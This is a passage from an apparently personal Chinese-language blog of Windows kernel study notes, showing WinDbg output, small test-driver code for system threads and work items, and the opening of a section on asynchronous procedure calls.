<span class="w"> </span><span class="n">THREAD</span><span class="w"> </span><span class="n">ffff8a071ff3a080</span><span class="w"> </span><span class="n">Cid</span><span class="w"> </span><span class="mi">2</span><span class="n">f38</span><span class="mf">.2</span><span class="n">df4</span><span class="w"> </span><span class="nl">Teb</span><span class="p">:</span><span class="w"> </span><span class="mi">0000006</span><span class="n">d28979000</span><span class="w"> </span><span class="nl">Win32Thread</span><span class="p">:</span><span class="w"> </span><span class="mi">0000000000000000</span><span class="w"> </span><span class="nl">WAIT</span><span class="p">:</span><span class="w"> </span><span class="p">(</span><span class="n">WrQueue</span><span class="p">)</span><span class="w"> </span><span class="n">UserMode</span><span class="w"> </span><span class="n">Alertable</span>
<span class="w"> </span><span class="n">ffff8a071db12a80</span><span class="w"> </span><span class="n">QueueObject</span>
<span class="w"> </span><span class="ow">Not</span><span class="w"> </span><span class="n">impersonating</span>
<span class="w"> </span><span class="n">DeviceMap</span><span class="w"> </span><span class="n">ffffa2829bdb1e90</span>
<span class="w"> </span><span class="n">Owning</span><span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="n">ffff8a07222e60c0</span><span class="w"> </span><span class="nc">Image</span><span class="err">:</span><span class="w"> </span><span class="n">ioctlapp</span><span class="p">.</span><span class="n">exe</span>
<span class="w"> </span><span class="n">Attached</span><span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="n">N</span><span class="o">/</span><span class="n">A</span><span class="w"> </span><span class="nc">Image</span><span class="err">:</span><span class="w"> </span><span class="n">N</span><span class="o">/</span><span class="n">A</span>
<span class="w"> </span><span class="n">Wait</span><span class="w"> </span><span class="k">Start</span><span class="w"> </span><span class="n">TickCount</span><span class="w"> </span><span class="mi">71866</span><span class="w"> </span><span class="nl">Ticks</span><span class="p">:</span><span class="w"> </span><span class="mi">204</span><span class="w"> </span><span class="p">(</span><span class="mi">0</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mf">03.187</span><span class="p">)</span>
<span class="w"> </span><span class="n">Context</span><span class="w"> </span><span class="n">Switch</span><span class="w"> </span><span class="nf">Count</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="nl">IdealProcessor</span><span class="p">:</span><span class="w"> </span><span class="mi">6</span><span class="w"> </span>
<span class="w"> </span><span class="n">UserTime</span><span class="w"> </span><span class="mi">00</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mf">00.000</span>
<span class="w"> </span><span class="n">KernelTime</span><span class="w"> </span><span class="mi">00</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mf">00.000</span>
<span class="w"> </span><span class="n">Win32</span><span class="w"> </span><span class="k">Start</span><span class="w"> </span><span class="n">Address</span><span class="w"> </span><span class="mh">0x00007ff979033d60</span>
<span class="w"> </span><span class="n">Stack</span><span class="w"> </span><span class="n">Init</span><span class="w"> </span><span class="n">ffff808de09d7650</span><span class="w"> </span><span class="k">Current</span><span class="w"> </span><span class="n">ffff808de09d6e20</span>
<span class="w"> </span><span class="n">Base</span><span class="w"> </span><span class="n">ffff808de09d8000</span><span class="w"> </span><span class="k">Limit</span><span class="w"> </span><span class="n">ffff808de09d1000</span><span class="w"> </span><span class="k">Call</span><span class="w"> </span><span class="mi">0000000000000000</span>
<span class="w"> </span><span class="n">Priority</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="n">BasePriority</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="n">PriorityDecrement</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">IoPriority</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">PagePriority</span><span class="w"> </span><span class="mi">5</span>
<span class="w"> </span><span class="n">Child</span><span class="o">-</span><span class="n">SP</span><span class="w"> </span><span class="n">RetAddr</span><span class="w"> </span><span class="k">Call</span><span class="w"> </span><span class="n">Site</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e09d6e60</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e63</span><span class="n">c77d</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">KiSwapContext</span><span class="o">+</span><span class="mh">0x76</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e09d6fa0</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e63</span><span class="n">b604</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">KiSwapThread</span><span class="o">+</span><span class="mh">0xbfd</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e09d7040</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e63</span><span class="n">f4be</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">KiCommitThreadWait</span><span class="o">+</span><span class="mh">0x144</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e09d70e0</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e63</span><span class="n">efb9</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">KeRemoveQueueEx</span><span class="o">+</span><span class="mh">0x27e</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e09d7190</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e63</span><span class="n">ec8e</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">IoRemoveIoCompletion</span><span class="o">+</span><span class="mh">0x99</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e09d72b0</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e7</span><span class="n">d2915</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">NtWaitForWorkViaWorkerFactory</span><span class="o">+</span><span class="mh">0x25e</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e09d7450</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff9</span><span class="err">`</span><span class="mi">7909</span><span class="n">fa64</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">KiSystemServiceCopyEnd</span><span class="o">+</span><span class="mh">0x25</span><span class="w"> </span><span class="p">(</span><span class="n">TrapFrame</span><span class="w"> </span><span class="err">@</span><span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e09d74c0</span><span class="p">)</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">28</span><span class="n">bff918</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff9</span><span class="err">`</span><span class="mi">79034060</span><span class="w"> </span><span class="mh">0x00007ff9</span><span class="err">`</span><span class="mi">7909</span><span class="n">fa64</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">28</span><span class="n">bff920</span><span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">00000003</span><span class="w"> </span><span class="mh">0x00007ff9</span><span class="err">`</span><span class="mi">79034060</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">28</span><span class="n">bff928</span><span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mf">2896e000</span><span class="w"> </span><span class="mh">0x0000006d</span><span class="err">`</span><span class="mi">00000003</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">28</span><span class="n">bff930</span><span class="w"> </span><span class="mi">0000016</span><span class="n">e</span><span class="err">`</span><span class="mi">7600</span><span class="n">a150</span><span class="w"> </span><span class="mh">0x0000006d</span><span class="err">`</span><span class="mf">2896e000</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">28</span><span class="n">bff938</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mh">0x0000016e</span><span class="err">`</span><span class="mi">7600</span><span class="n">a150</span>
</code></pre></div>
<p>我傻了,可以不用这么麻烦的,直接用<code>!thread addr</code>可以直接看到该线程所属的进程</p>
<p>这个问题后面还有一个问题,就是将第四个参数(ProcessHandle)设置为非Non-NULL的再测试一下,我设置成了当前进程的句柄,结果显示创建出来的线程是运行在用户进程下的,对驱动程序代码做了如下修改</p>
<div class="highlight"><pre><span></span><code><span class="n">HANDLE</span><span class="w"> </span><span class="n">process_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">PsGetCurrentProcessId</span><span class="p">();</span>
<span class="c1">// retrive process handle</span>
<span class="n">HANDLE</span><span class="w"> </span><span class="n">process</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="n">OBJECT_ATTRIBUTES</span><span class="w"> </span><span class="n">obj_attr</span><span class="p">;</span>
<span class="n">CLIENT_ID</span><span class="w"> </span><span class="n">cid</span><span class="p">;</span>
<span class="n">cid</span><span class="p">.</span><span class="n">UniqueProcess</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">process_id</span><span class="p">;</span><span class="w"> </span><span class="c1">//PsGetCurrentProcessId();</span>
<span class="n">cid</span><span class="p">.</span><span class="n">UniqueThread</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span><span class="w"> </span><span class="c1">//(HANDLE)0;</span>
<span class="n">InitializeObjectAttributes</span><span class="p">(</span><span class="o">&</span><span class="n">obj_attr</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
<span class="n">ZwOpenProcess</span><span class="p">(</span><span class="o">&</span><span class="n">process</span><span class="p">,</span><span class="w"> </span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">obj_attr</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">cid</span><span class="p">);</span>
<span class="n">HANDLE</span><span class="w"> </span><span class="n">thread_handle</span><span class="p">;</span>
<span class="n">NTSTATUS</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">PsCreateSystemThread</span><span class="p">(</span><span class="o">&</span><span class="n">thread_handle</span><span class="p">,</span><span class="w"> </span><span class="n">GENERIC_ALL</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="n">process</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="n">thread_routine</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="mi">5</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dq</span><span class="w"> </span><span class="o">/</span><span class="n">c</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o">(</span><span class="n">rsp</span><span class="o">+</span><span class="mi">128</span><span class="n">h</span><span class="o">)</span><span class="w"> </span><span class="n">L1</span>
<span class="n">DBGHELP</span><span class="o">:</span><span class="w"> </span><span class="n">SharedUserData</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">virtual</span><span class="w"> </span><span class="n">symbol</span><span class="w"> </span><span class="n">module</span>
<span class="n">ffff808d</span><span class="err">`</span><span class="n">e25871b8</span><span class="w"> </span><span class="n">ffffffff</span><span class="err">`</span><span class="mi">8000477</span><span class="n">c</span>
<span class="mi">5</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="o">!</span><span class="n">handle</span><span class="w"> </span><span class="n">ffffffff</span><span class="err">`</span><span class="mi">8000477</span><span class="n">c</span>
<span class="n">PROCESS</span><span class="w"> </span><span class="n">ffff8a0722f240c0</span>
<span class="w"> </span><span class="n">SessionId</span><span class="o">:</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">Cid</span><span class="o">:</span><span class="w"> </span><span class="mi">2</span><span class="n">d5c</span><span class="w"> </span><span class="n">Peb</span><span class="o">:</span><span class="w"> </span><span class="n">c4ee341000</span><span class="w"> </span><span class="n">ParentCid</span><span class="o">:</span><span class="w"> </span><span class="mi">1</span><span class="n">e94</span>
<span class="w"> </span><span class="n">DirBase</span><span class="o">:</span><span class="w"> </span><span class="mi">1</span><span class="n">b7ff7000</span><span class="w"> </span><span class="n">ObjectTable</span><span class="o">:</span><span class="w"> </span><span class="n">ffffa2829aacfd80</span><span class="w"> </span><span class="n">HandleCount</span><span class="o">:</span><span class="w"> </span><span class="mi">65</span><span class="o">.</span>
<span class="w"> </span><span class="n">Image</span><span class="o">:</span><span class="w"> </span><span class="n">ioctlapp</span><span class="o">.</span><span class="na">exe</span>
<span class="n">Kernel</span><span class="w"> </span><span class="n">handle</span><span class="w"> </span><span class="n">table</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="n">ffffa28294c05ac0</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="mi">4835</span><span class="w"> </span><span class="n">entries</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">use</span>
<span class="mi">8000477</span><span class="n">c</span><span class="o">:</span><span class="w"> </span><span class="n">Object</span><span class="o">:</span><span class="w"> </span><span class="n">ffff8a0721bd4080</span><span class="w"> </span><span class="n">GrantedAccess</span><span class="o">:</span><span class="w"> </span><span class="mi">001</span><span class="n">fffff</span><span class="w"> </span><span class="o">(</span><span class="n">Protected</span><span class="o">)</span><span class="w"> </span><span class="o">(</span><span class="n">Audit</span><span class="o">)</span><span class="w"> </span><span class="n">Entry</span><span class="o">:</span><span class="w"> </span><span class="n">ffffa2829d4fbdf0</span>
<span class="n">Object</span><span class="o">:</span><span class="w"> </span><span class="n">ffff8a0721bd4080</span><span class="w"> </span><span class="n">Type</span><span class="o">:</span><span class="w"> </span><span class="o">(</span><span class="n">ffff8a0715aa24e0</span><span class="o">)</span><span class="w"> </span><span class="n">Thread</span>
<span class="w"> </span><span class="n">ObjectHeader</span><span class="o">:</span><span class="w"> </span><span class="n">ffff8a0721bd4050</span><span class="w"> </span><span class="o">(</span><span class="k">new</span><span class="w"> </span><span class="n">version</span><span class="o">)</span>
<span class="w"> </span><span class="n">HandleCount</span><span class="o">:</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">PointerCount</span><span class="o">:</span><span class="w"> </span><span class="mi">2</span>
<span class="mi">5</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="o">!</span><span class="n">thread</span><span class="w"> </span><span class="n">ffff8a0721bd4080</span>
<span class="n">THREAD</span><span class="w"> </span><span class="n">ffff8a0721bd4080</span><span class="w"> </span><span class="n">Cid</span><span class="w"> </span><span class="mi">2</span><span class="n">d5c</span><span class="o">.</span><span class="mi">27</span><span class="n">c8</span><span class="w"> </span><span class="n">Teb</span><span class="o">:</span><span class="w"> </span><span class="mi">0000000000000000</span><span class="w"> </span><span class="n">Win32Thread</span><span class="o">:</span><span class="w"> </span><span class="mi">0000000000000000</span><span class="w"> </span><span class="n">TERMINATED</span>
<span class="n">Not</span><span class="w"> </span><span class="n">impersonating</span>
<span class="n">DeviceMap</span><span class="w"> </span><span class="n">ffffa2829bdb1e90</span>
<span class="n">Owning</span><span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="n">ffff8a0722f240c0</span><span class="w"> </span><span class="n">Image</span><span class="o">:</span><span class="w"> </span><span class="n">ioctlapp</span><span class="o">.</span><span class="na">exe</span>
<span class="n">Attached</span><span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="n">N</span><span class="sr">/A Image: N/</span><span class="n">A</span>
<span class="n">Wait</span><span class="w"> </span><span class="n">Start</span><span class="w"> </span><span class="n">TickCount</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">Ticks</span><span class="o">:</span><span class="w"> </span><span class="mi">78372</span><span class="w"> </span><span class="o">(</span><span class="mi">0</span><span class="o">:</span><span class="mi">00</span><span class="o">:</span><span class="mi">20</span><span class="o">:</span><span class="mf">24.562</span><span class="o">)</span>
<span class="n">Context</span><span class="w"> </span><span class="n">Switch</span><span class="w"> </span><span class="n">Count</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">IdealProcessor</span><span class="o">:</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span>
<span class="n">UserTime</span><span class="w"> </span><span class="mi">00</span><span class="o">:</span><span class="mi">00</span><span class="o">:</span><span class="mf">00.000</span>
<span class="n">KernelTime</span><span class="w"> </span><span class="mi">00</span><span class="o">:</span><span class="mi">00</span><span class="o">:</span><span class="mf">00.000</span>
<span class="n">Win32</span><span class="w"> </span><span class="n">Start</span><span class="w"> </span><span class="n">Address</span><span class="w"> </span><span class="n">SIoctl</span><span class="o">!</span><span class="n">thread_routine</span><span class="w"> </span><span class="o">(</span><span class="mh">0xfffff80754a610e0</span><span class="o">)</span>
<span class="n">Stack</span><span class="w"> </span><span class="n">Init</span><span class="w"> </span><span class="n">ffff808de123f650</span><span class="w"> </span><span class="n">Current</span><span class="w"> </span><span class="n">ffff808de123f5e0</span>
<span class="n">Base</span><span class="w"> </span><span class="n">ffff808de1240000</span><span class="w"> </span><span class="n">Limit</span><span class="w"> </span><span class="n">ffff808de1239000</span><span class="w"> </span><span class="n">Call</span><span class="w"> </span><span class="mi">0000000000000000</span>
<span class="n">Priority</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="n">BasePriority</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="n">PriorityDecrement</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">IoPriority</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">PagePriority</span><span class="w"> </span><span class="mi">5</span>
<span class="n">Child</span><span class="o">-</span><span class="n">SP</span><span class="w"> </span><span class="n">RetAddr</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Args</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">Child</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Call</span><span class="w"> </span><span class="n">Site</span>
<span class="n">ffff808d</span><span class="err">`</span><span class="n">e123f620</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e1240000</span><span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e1239000</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">KiStartSystemThread</span><span class="o">+</span><span class="mh">0x2a</span>
</code></pre></div>
<p>可以看到是在用户进程下的</p>
<h3>Work Items</h3>
<p>workitems是等待被线程处理的任务队列,本质上是一个链表</p>
<div class="highlight"><pre><span></span><code>kd> dt nt!_IO_WORKITEM
+0x000 WorkItem : _WORK_QUEUE_ITEM
+0x020 Routine : Ptr64 void
+0x028 IoObject : Ptr64 Void
+0x030 Context : Ptr64 Void
+0x038 Type : Uint4B
+0x03c ActivityId : _GUID
kd> dt nt!_WORK_QUEUE_ITEM
+0x000 List : _LIST_ENTRY
+0x010 WorkerRoutine : Ptr64 void
+0x018 Parameter : Ptr64 Void
</code></pre></div>
<p>在初始化之后会被插入到由KPRCB中的ParentNode指针指向的一个队列中</p>
<div class="highlight"><pre><span></span><code>kd> dt nt!_KPRCB
+0x5338 ParentNode : Ptr64 _KNODE
</code></pre></div>
<p>这个KNODE和ENODE的关系跟ETHREAD和KTHREAD是一样的,因为KNODE是ENODE的第一个成员,所以两者的地址也是一样的</p>
<div class="highlight"><pre><span></span><code>kd> dt nt!_ENODE
+0x000 Ncb : _KNODE
+0x0c0 ExWorkerQueues : [7] _EX_WORK_QUEUE
+0x2f0 ExpThreadSetManagerEvent : _KEVENT
+0x308 ExpWorkerThreadBalanceManagerPtr : Ptr64 _ETHREAD
+0x310 ExpWorkerSeed : Uint4B
+0x314 ExWorkerFullInit : Pos 0, 1 Bit
+0x314 ExWorkerStructInit : Pos 1, 1 Bit
+0x314 ExWorkerFlags : Uint4B
kd> dt nt!_KNODE
+0x000 DeepIdleSet : Uint8B
+0x040 ProximityId : Uint4B
+0x044 NodeNumber : Uint2B
</code></pre></div>
<p><code>ExWorkerQueues</code>就是workitem将要被插入的队列</p>
<div class="highlight"><pre><span></span><code>kd> dt nt!_EX_WORK_QUEUE
+0x000 WorkerQueue : _KQUEUE
+0x040 WorkItemsProcessed : Uint4B
+0x044 WorkItemsProcessedLastPass : Uint4B
+0x048 ThreadCount : Int4B
+0x04c TryFailed : UChar
</code></pre></div>
<p>函数ExQueueWorkItemEx负责将workitem插入队列,ExpWorkerThread函数负责从队列中取出workitem</p>
<p>稍微看一下<code>ExQueueWorkItemEx</code>的汇编代码</p>
<div class="highlight"><pre><span></span><code><span class="nt">kd</span><span class="o">></span><span class="w"> </span><span class="nt">uf</span><span class="w"> </span><span class="nt">nt</span><span class="o">!</span><span class="nt">ExQueueWorkItemEx</span>
<span class="o">...</span>
<span class="nt">fffff802</span><span class="err">`</span><span class="nt">35bfefc3</span><span class="w"> </span><span class="nt">65488b042520000000</span><span class="w"> </span><span class="nt">mov</span><span class="w"> </span><span class="nt">rax</span><span class="o">,</span><span class="nt">qword</span><span class="w"> </span><span class="nt">ptr</span><span class="w"> </span><span class="nt">gs</span><span class="o">:</span><span class="cp">[</span><span class="mi">20</span><span class="nx">h</span><span class="cp">]</span>
<span class="nt">fffff802</span><span class="err">`</span><span class="nt">35bfefcc</span><span class="w"> </span><span class="nt">4c8b8038530000</span><span class="w"> </span><span class="nt">mov</span><span class="w"> </span><span class="nt">r8</span><span class="o">,</span><span class="nt">qword</span><span class="w"> </span><span class="nt">ptr</span><span class="w"> </span><span class="cp">[</span><span class="nx">rax</span><span class="o">+</span><span class="mi">5338</span><span class="nx">h</span><span class="cp">]</span>
<span class="nt">fffff802</span><span class="err">`</span><span class="nt">35bfefd3</span><span class="w"> </span><span class="nt">410fb74044</span><span class="w"> </span><span class="nt">movzx</span><span class="w"> </span><span class="nt">eax</span><span class="o">,</span><span class="nt">word</span><span class="w"> </span><span class="nt">ptr</span><span class="w"> </span><span class="cp">[</span><span class="nx">r8</span><span class="o">+</span><span class="mi">44</span><span class="nx">h</span><span class="cp">]</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">eax就是KNODE的NodeNumber字段</span><span class="err">,</span><span class="nt">再往后的代码我也看不太懂了</span><span class="err">,</span><span class="nt">不管了</span><span class="err">,</span><span class="nt">先做题</span>
<span class="nt">fffff802</span><span class="err">`</span><span class="nt">35bfefd8</span><span class="w"> </span><span class="nt">8bc8</span><span class="w"> </span><span class="nt">mov</span><span class="w"> </span><span class="nt">ecx</span><span class="o">,</span><span class="nt">eax</span>
<span class="nt">fffff802</span><span class="err">`</span><span class="nt">35bfefda</span><span class="w"> </span><span class="nt">488d0440</span><span class="w"> </span><span class="nt">lea</span><span class="w"> </span><span class="nt">rax</span><span class="o">,</span><span class="cp">[</span><span class="nx">rax</span><span class="o">+</span><span class="nx">rax</span><span class="o">*</span><span class="mi">2</span><span class="cp">]</span>
<span class="nt">fffff802</span><span class="err">`</span><span class="nt">35bfefde</span><span class="w"> </span><span class="nt">48c1e006</span><span class="w"> </span><span class="nt">shl</span><span class="w"> </span><span class="nt">rax</span><span class="o">,</span><span class="nt">6</span>
<span class="nt">fffff802</span><span class="err">`</span><span class="nt">35bfefe2</span><span class="w"> </span><span class="nt">4803c5</span><span class="w"> </span><span class="nt">add</span><span class="w"> </span><span class="nt">rax</span><span class="o">,</span><span class="nt">rbp</span>
<span class="nt">fffff802</span><span class="err">`</span><span class="nt">35bfefe5</span><span class="w"> </span><span class="nt">493904ce</span><span class="w"> </span><span class="nt">cmp</span><span class="w"> </span><span class="nt">qword</span><span class="w"> </span><span class="nt">ptr</span><span class="w"> </span><span class="cp">[</span><span class="nx">r14</span><span class="o">+</span><span class="nx">rcx</span><span class="o">*</span><span class="mi">8</span><span class="cp">]</span><span class="o">,</span><span class="nt">rax</span>
<span class="nt">fffff802</span><span class="err">`</span><span class="nt">35bfefe9</span><span class="w"> </span><span class="nt">0f84010ce6ff</span><span class="w"> </span><span class="nt">je</span><span class="w"> </span><span class="nt">nt</span><span class="o">!</span><span class="nt">ExQueueWorkItemEx</span><span class="o">+</span><span class="nt">0xe0</span><span class="w"> </span><span class="o">(</span><span class="nt">fffff802</span><span class="err">`</span><span class="nt">35a5fbf0</span><span class="o">)</span><span class="w"> </span><span class="nt">Branch</span>
<span class="o">...</span>
</code></pre></div>
<p>由于ExpWorkerThread运行在System下,所以workitem也是在System下被执行的,IRQL位PASSIVE_LEVEL</p>
<p>题目是:</p>
<blockquote>
<p>如何确定ExpWorkerThread是负责从队列中取出并执行workeritem的函数,该函数没有文档</p>
<p>提示:编写驱动</p>
</blockquote>
<p><a href="https://github.com/wqreytuk/ExpWorkerThread_test/blob/main/ioctl.sln">驱动项目地址</a></p>
<p>关键代码</p>
<div class="highlight"><pre><span></span><code><span class="n">PIO_WORKITEM</span><span class="w"> </span><span class="n">work_item</span><span class="o">=</span><span class="w"> </span><span class="n">IoAllocateWorkItem</span><span class="p">(</span><span class="n">DeviceObject</span><span class="p">);</span>
<span class="n">IoQueueWorkItem</span><span class="p">(</span><span class="n">work_item</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">WorkItem</span><span class="p">,</span><span class="w"> </span><span class="n">CriticalWorkQueue</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
</code></pre></div>
<p>这里的<code>WorkItem</code>是将要被线程执行的例程</p>
<div class="highlight"><pre><span></span><code><span class="n">VOID</span><span class="w"> </span><span class="nf">WorkItem</span><span class="p">(</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">PDEVICE_OBJECT</span><span class="w"> </span><span class="n">DeviceObject</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_opt_</span><span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">Context</span>
<span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">UNREFERENCED_PARAMETER</span><span class="p">(</span><span class="n">DeviceObject</span><span class="p">);</span>
<span class="w"> </span><span class="n">UNREFERENCED_PARAMETER</span><span class="p">(</span><span class="n">Context</span><span class="p">);</span>
<span class="w"> </span><span class="n">TestFunction</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div>
<p>只要在TestFunction下断点,然后在TestFunction第二次被触发的时候查看调用栈即可找到处理WorkItem的是哪个函数</p>
<p><img alt="image-20220813004826202" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/znizbRlVSw.jpg"></p>
<p>他后面还有一个问题,就是怎么知道ExpWorkerThread是运行在System下的,这个问题也很好解答,对WorkItem例程稍作修改即可</p>
<div class="highlight"><pre><span></span><code><span class="n">VOID</span><span class="w"> </span><span class="nf">WorkItem</span><span class="p">(</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">PDEVICE_OBJECT</span><span class="w"> </span><span class="n">DeviceObject</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_opt_</span><span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">Context</span>
<span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">UNREFERENCED_PARAMETER</span><span class="p">(</span><span class="n">DeviceObject</span><span class="p">);</span>
<span class="w"> </span><span class="n">UNREFERENCED_PARAMETER</span><span class="p">(</span><span class="n">Context</span><span class="p">);</span>
<span class="w"> </span><span class="n">TestFunction</span><span class="p">();</span>
<span class="w"> </span><span class="n">PKTHREAD</span><span class="w"> </span><span class="n">Self</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">KeGetCurrentThread</span><span class="p">();</span>
<span class="w"> </span><span class="n">KeSetPriorityThread</span><span class="p">(</span><span class="n">Self</span><span class="p">,</span><span class="w"> </span><span class="n">LOW_REALTIME_PRIORITY</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>还是在TestFunction方法下断点,在第二次触发的时候,观察KeGetCurrentThread函数调用之后rax的值,此时rax作为该函数的返回值就是KTHREAD结构体的地址</p>
<p><img alt="image-20220813230257357" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/HvzphgzmFn.jpg"></p>
<p>接着做题,下一题是让跟一下几个函数的汇编代码,解释一下他们是怎么工作的,这里我就只做第一个,<code>IoAllocateWorkItem</code>函,<a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/126342522?spm=1001.2014.3001.5501">题解</a></p>
<h3>Asynchronous Procedure Call -- APC</h3>
<p>字面意思就是异步过程调用</p>
<p>APC用于实现很多重要的操作,例如异步IO,线程挂起以及进程终止等操作</p>
<p>这个东西几乎是没有文档的,<a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/types-of-apcs">官方的驱动的开发手册</a>只稍微提了一嘴,并没有提供更详细的东西</p>
<p>不过对于日常的逆向工作,并不用了解太多APC的底层细节</p>
<p>这节将会介绍APC是啥玩意及用法</p>
<h4>APC基础</h4>
<p>通俗来讲,ACP就是一个运行在特定线程context下的函数</p>
<p>可以被分成用户模式和内核模式,内核模式下的APC又可以被分为normal和special</p>
